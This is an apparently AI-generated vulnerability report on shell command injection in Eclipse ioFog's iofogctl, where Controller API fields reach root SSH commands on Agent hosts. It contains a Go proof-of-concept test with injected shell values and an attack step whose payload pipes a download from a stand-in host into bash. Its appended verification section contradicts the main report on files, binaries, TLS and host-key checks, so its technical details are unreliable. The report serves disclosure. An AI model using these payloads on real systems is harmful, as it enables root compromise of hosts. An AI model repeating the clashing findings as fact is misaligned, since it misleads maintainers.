[Eclipse ioFog™] Shell command injection from Controller API response into root SSH session on Agent host
> [!warning] AI-Generated Vulnerability Report
> This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting.
<details open>
<summary><strong>Basic information</strong></summary>
**Project name:** Eclipse ioFog™
**Project id:** iot.iofog
**Repository:** https://github.com/eclipse-iofog/iofogctl
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<details>
<summary><strong>What are the affected versions?</strong></summary>
`key` injection: v1.0.0 – v3.7.0 (every tagged release).
`caCert` injection: v3.7.0-beta.0 – v3.7.0 (`git tag --contains b89009b4`).
</details>
<details open>
<summary><strong>Summary</strong></summary>
When deploying or attaching a remote Agent, `iofogctl` requests a provisioning key from the Controller's REST API and concatenates two fields of the JSON response — `key` and `caCert` — directly into shell command strings that are executed via SSH on the Agent host with `sudo`. Because the Controller HTTP client does not verify TLS certificates and the SSH client does not verify host keys, a network-positioned attacker (or a compromised/malicious Controller) can return shell metacharacters in these fields and obtain root command execution on every Agent host the operator deploys.
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<details>
<summary><strong>Severity</strong></summary>
Medium
</details>
<details>
<summary><strong>Weakness</strong></summary>
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
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<details>
<summary><strong>Location</strong></summary>
- `pkg/iofog/install/remote_agent.go:305-339` — `RemoteAgent.Configure()` builds `"sudo iofog-agent cert " + caCert` and `"sudo iofog-agent provision " + key`
- `pkg/iofog/install/agent.go:32-73` — `defaultAgent.getProvisionKey()` returns `provisionResponse.Key` and `provisionResponse.CaCert` verbatim from the HTTP body
- `pkg/util/ssh.go:114-138` — `SecureShellClient.Run()` sends the string as an SSH `exec` request, which OpenSSH passes to the user's login shell (`$SHELL -c "<cmd>"`)
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<details>
<summary><strong>Origin</strong></summary>
The `sudo iofog-agent provision <key>` concatenation pattern has existed since the Agent deploy flow was first added:
- `49b94c789d445f5cebd6fb84a2f4b282e42a8d0b` — SergeRadinovich, 2019-06-04, "Add Agent configure process in deploy command" (originally as a heredoc shell script, same flow)
- `91c1a5e70a30a74e903975b34503f9b092102ef9` — SergeRadinovich, 2019-07-22, "Refactor iofog pkg into multiple pkgs" moved it to `pkg/iofog/install/remote_agent.go`
The second injectable field (`caCert`) was added in:
- `b89009b44e096954cb76219c8641a9453d84f4aa` — Emirhan Durmuş, 2026-04-01, "Sync repository tree to Datasance potctl main"
</details>
<details>
<summary><strong>Methodology</strong></summary>
Grepped for `.Run(` against `pkg/util/ssh.go`'s `SecureShellClient` and traced every caller for non-operator-controlled input. `RemoteAgent.Configure()` was the only caller whose argument originates from a network response rather than from the operator's YAML/CLI. Traced `getProvisionKey()` into `github.com/eclipse-iofog/iofog-go-sdk/v3/pkg/client.GetAgentProvisionKey`, which deserialises `GetAgentProvisionKeyResponse{Key, CaCert string}` from the HTTP body with no validation. Confirmed the SDK's `httpDo.do()` hardcodes `tls.Config{InsecureSkipVerify: true}` (`pkg/client/http.go:73-75`), so MITM of the Controller channel needs no stolen certificate.
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<details>
<summary><strong>Validation</strong></summary>
A Go test stands up (a) a mock Controller HTTP server that returns malicious `key`/`caCert` values, and (b) a mock SSH server that records every `exec` request. It then drives the real `install.NewRemoteAgent(...).Configure(...)` against both:
```go
// /tmp/iofog-repro/cmdinject_test.go
package repro
import (
"encoding/json"
"fmt"
"net"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/eclipse-iofog/iofogctl/pkg/iofog/install"
"golang.org/x/crypto/ssh"
)
const (
injectedCaCert = "x; touch /tmp/pwned-by-cacert #"
injectedKey = "x; touch /tmp/pwned-by-key #"
hostKeyPath = "/tmp/iofog-repro/testkey"
)
func TestProvisionKeyCommandInjection(t *testing.T) {
keyBytes, _ := readFile(hostKeyPath)
signer, _ := ssh.ParsePrivateKey(keyBytes)
sshCfg := &ssh.ServerConfig{}
sshCfg.AddHostKey(signer)
sshCfg.PublicKeyCallback = func(ssh.ConnMetadata, ssh.PublicKey) (*ssh.Permissions, error) { return nil, nil }
listener, _ := net.Listen("tcp", "127.0.0.1:0")
defer listener.Close()
sshAddr := listener.Addr().(*net.TCPAddr)
captured := make(chan string, 32)
go acceptSSH(listener, sshCfg, captured)
httpSrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
switch {
case strings.HasSuffix(r.URL.Path, "/user/login"), strings.HasSuffix(r.URL.Path, "/user/refresh"):
json.NewEncoder(w).Encode(map[string]string{"accessToken": "tok", "refreshToken": "rtok"})
case strings.Contains(r.URL.Path, "/provisioning-key"):
json.NewEncoder(w).Encode(map[string]any{"key": injectedKey, "caCert": injectedCaCert, "expirationTime": 0})
default:
json.NewEncoder(w).Encode(map[string]any{})
}
}))
defer httpSrv.Close()
agent, err := install.NewRemoteAgent("user", "127.0.0.1", sshAddr.Port, hostKeyPath, "agent1", "AGENTUUID")
if err != nil { t.Fatal(err) }
_, err = agent.Configure(httpSrv.URL+"/api/v3", install.IofogUser{Email: "a@b.c", Password: "p"})
if err != nil { t.Logf("Configure err: %v", err) }
close(captured)
var all []string
for c := range captured {
all = append(all, c)
t.Logf("captured SSH exec: %q", c)
}
if !contains(all, "sudo iofog-agent cert "+injectedCaCert) ||
!contains(all, "sudo iofog-agent provision "+injectedKey) {
t.Fatalf("payload not observed: %v", all)
}
fmt.Println("VULNERABLE: server-controlled JSON fields reached SSH shell exec unsanitised")
}
// acceptSSH(): records req.Payload[4:] for every "exec" channel request — see /tmp/iofog-repro for full file.
```
Observed output:
```
=== RUN TestProvisionKeyCommandInjection
cmdinject_test.go:96: captured SSH exec: "sudo iofog-agent config -a http://127.0.0.1:42407/api/v3"
cmdinject_test.go:96: captured SSH exec: "sudo iofog-agent cert x; touch /tmp/pwned-by-cacert #"
cmdinject_test.go:96: captured SSH exec: "sudo iofog-agent provision x; touch /tmp/pwned-by-key #"
VULNERABLE: server-controlled JSON fields reached SSH shell exec unsanitised
--- PASS: TestProvisionKeyCommandInjection (0.01s)
```
Mitigations checked and ruled out:
- No length limit, allow-list, or quoting is applied to `key` / `caCert` between JSON decode and `ssh.Run()`.
- `LocalAgent.Configure()` (`pkg/iofog/install/local_agent.go:63-73`) uses an argv slice with Docker `ExecuteCmd`, so the local path is **not** vulnerable — only the SSH path is.
- `util.GetBaseURL()` parses the controller endpoint but never touches `key`/`caCert`.
</details>
<details>
<summary><strong>Detail</strong></summary>
`RemoteAgent.Configure()`:
```go
key, caCert, err := agent.getProvisionKey(controllerEndpoint, user) // HTTP call
...
cmds := []command{{
cmd: "sudo iofog-agent config -a " + controllerBaseURL.String(),
}}
if caCert != "" {
cmds = append(cmds, command{cmd: "sudo iofog-agent cert " + caCert}) // ← unsanitised network data
}
cmds = append(cmds, command{cmd: "sudo iofog-agent provision " + key}) // ← unsanitised network data
if err := agent.run(cmds); err != nil { ... } // → ssh.Session.Run(cmd)
```
`ssh.Session.Run(cmd)` issues an SSH `exec` channel request. OpenSSH `sshd` executes the payload as `$SHELL -c "<cmd>"` for the authenticated user, so `;`, `|`, `$()`, backticks, `&&`, newlines, etc. are all live. The command is additionally prefixed with `sudo`, and the Agent install procedure assumes passwordless sudo for the SSH user (it runs `sudo` non-interactively throughout `Bootstrap()`).
</details>
<details>
<summary><strong>Steps to reproduce</strong></summary>
Attacker positions:
1. **Network MITM** between the iofogctl operator and the Controller. The SDK HTTP client sets `InsecureSkipVerify: true`, so no stolen certificate is needed; ARP spoofing, rogue Wi-Fi, or a compromised router suffices. The attacker proxies login, then for `GET /api/v3/iofog/{uuid}/provisioning-key` returns `{"key":"k; curl -s https://evil.example/x|bash #","caCert":""}`.
2. **Compromised or malicious Controller.** The Controller is a network-facing orchestration service; an attacker who gains code execution on it (or who operates a Controller a victim runs `iofogctl connect --ecn-addr` against) can pivot to root on every Agent host the victim subsequently deploys.
When the operator next runs `iofogctl deploy -f agent.yaml` (or `iofogctl attach agent`), the Agent host receives over SSH:
**Proof of concept:** [poc.txt](/uploads/c566d5d83dd3a65ca53bb9fc9e7b7a8e/poc.txt)
The `iofog-agent provision k` half fails harmlessly; the second half runs as root.
</details>
<details>
<summary><strong>Do you know any mitigations of the issue?</strong></summary>
Pass the provisioning key and CA cert to the remote `iofog-agent` binary without shell interpretation: either write them to a temp file via SFTP and reference the path, or shell-quote each value (e.g. POSIX single-quote escaping `'` → `'\''`). Independently, validate that `key` matches the expected token charset (`^[A-Za-z0-9_-]+$`) and that `caCert` is base64 before use.
---
**Verification verdict:** TRUE POSITIVE
### Verification details
Completing the two formal sections that were implicit in my analysis.
### Phase 5 — Devil's advocate (all 13 challenge items)
1. **Full validation chain traced backwards.** From the sink (`ssh.RunWithOptions` → `session.Run`, `pkg/util/ssh.go:180`) back through `RemoteEdgelet.run` (`edgelet_remote.go:602`), `EdgeletProvisionCommands` (`edgelet_config.go:579`), `getProvisionKey` (`agent.go:22`), `client.GetAgentProvisionKey` (SDK `agents.go:37`), `json.Unmarshal`. The only predicates anywhere on the path are `strings.TrimSpace(key) == ""` → error, and `strings.TrimSpace(caCert) != ""` → include. Neither constrains content. No upstream validator exists in `internal/deploy/agent/remote.go` either.
1a. **Conditional-logic reachability.** Reaching line 607 requires only: non-empty `key`, and `util.GetBaseURL(controllerEndpoint)` parsing (operator-supplied endpoint, always valid in practice). No condition mathematically excludes metacharacters. Both PoC runs reached it on the first attempt.
2. **Defensive-programming check.** The `TrimSpace` tests are presence checks, not neutralization. Confirmed by the negative control: a benign key produced exactly `sudo edgelet provision benign-provision-key` with no escaping applied, so no hidden defensive layer exists.
3. **Exploitable data path confirmed, not assumed.** Executed end-to-end: mock Controller JSON → real SDK → real `Configure` → real `SecureShellClient` → sshd handing the string to `/bin/sh -c`, with a filesystem side effect (marker file) as proof of execution rather than mere string observation.
4. **Data-source trust level.** `Key`/`CaCert` are HTTP response bodies, not compile-time constants or locally-derived values. Trust level is "whatever the Controller says", which is exactly the disputed boundary — addressed in Phase 3 rather than waved away.
5. **Bounds validation.** N/A for this bug class — no arithmetic, no allocation, no indexing.
6. **TOCTOU.** N/A. The values are decoded and consumed in one straight-line call with no re-read between check and use.
7. **API contract / trust boundary.** Checked the sink's contract explicitly: `golang.org/x/crypto/ssh` `Session.Run(cmd string)` sends an `exec` request whose payload sshd passes to the login shell. It is a *string* API with no argv form — the library offers no bounds/quoting guarantee that would make raw concatenation safe. This is the opposite of an "API has built-in protection" false positive.
8. **Internal storage vs external input.** The provisioning key is not installation-time configuration set by a trusted local component; it is fetched over the wire at deploy time. The `controllerBaseURL` on the adjacent line *is* operator-supplied internal config — I did not flag that leg.
9. **Pattern recognition vs analysis.** Not concluded from "string concatenation into a command looks bad": the same package's `shellQuoteArg` was checked and found applied to four sibling remote commands and deliberately absent here, and the claim was then executed rather than asserted.
10. **Concurrency.** N/A — single-threaded deploy sequence; no shared state in the path.
11. **Real vs theoretical impact.** Arbitrary command execution as root on a production edge host (passwordless sudo is a documented prerequisite, `docs/operators/edgelet-installation.md:108,180`). This is code execution, not operational robustness.
12. **Defense-in-depth vs primary control.** Honestly split: against a **compromised Controller** this is largely defence-in-depth, because the Controller can already schedule `isPrivileged` microservices with host volume mappings (SDK `types.go:376,395`) — I said so rather than claiming a fresh boundary break. Against an **on-path MITM with no Controller credentials**, shell quoting is the primary and only control, and it is absent.
13. **Applied systematically.** Items 5, 6 and 10 are marked N/A with a stated reason rather than silently dropped; items 7, 8 and 12 were the ones that could have sunk the finding and each was checked against code, not assumed.
Additional counters considered and rejected:
- *"Output encoding elsewhere"* — none; the string reaches `session.Run` byte-identical to what `EdgeletProvisionCommands` built (PoC log shows the exact bytes at the sshd exec handler).
- *"Access control on the SDK side"* — `isLoggedIn()` only requires a non-empty access token, which the attacker-controlled server issues itself.
- *"SSH protocol hardening blocks it"* — host-key verification (`ssh_hostkey.go:72`) authenticates the *Agent host*, not the payload; my PoC satisfied it normally by pre-trusting the fingerprint, as a real operator would.
- *"Operator-configured quoting / restricted shell"* — no configuration knob exists for these two commands; a restricted shell or `ForceCommand` on the Agent host would blunt it, but neither is documented or required, and the docs mandate passwordless sudo instead.
### Gate review
| Gate | Result | Evidence |
|---|---|---|
| 1. Process | **PASS** | Phases 1–5 documented above with file:line citations and executed tests. |
| 2. Reachability | **PASS** | Attacker fully controls `key`/`caCert` (raw JSON body fields, no validation); reached via `deploy`/`attach agent`; both PoC variants reached the sink. |
| 3. Real Impact | **PASS** | Root command execution on the Agent host; qualified in Phase 3 as redundant against a compromised Controller but a genuine escalation for a credential-less MITM. |
| 4. PoC Validation | **PASS** | Executable tests show attacker control (server-chosen JSON), trigger (`Configure`), and impact (marker file created by the shell on the SSH server), plus a passing negative control. |
| 5. Math Bounds | **N/A — PASS** | No arithmetic or bounds condition in this bug class; nothing for validation to make impossible. |
| 6. Environment | **PASS** | Host-key verification, TLS trust store and the Go SSH library do not neutralize shell metacharacters; TLS verification narrows *who* can supply the payload (Phase 3) but does not block exploitation, as proven by the TLS-verified PoC variant. |
**BUG \#1 TRUE POSITIVE** — Controller-supplied `key`/`caCert` concatenated unquoted into `sudo edgelet …` strings executed via SSH `exec` on the Agent host (`pkg/iofog/install/edgelet_config.go:602,607`).
The verdict, EXPOSURE (AUTHENTICATED), SCOPE (PRODUCTION), report corrections and fix from my previous message stand unchanged.
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issue
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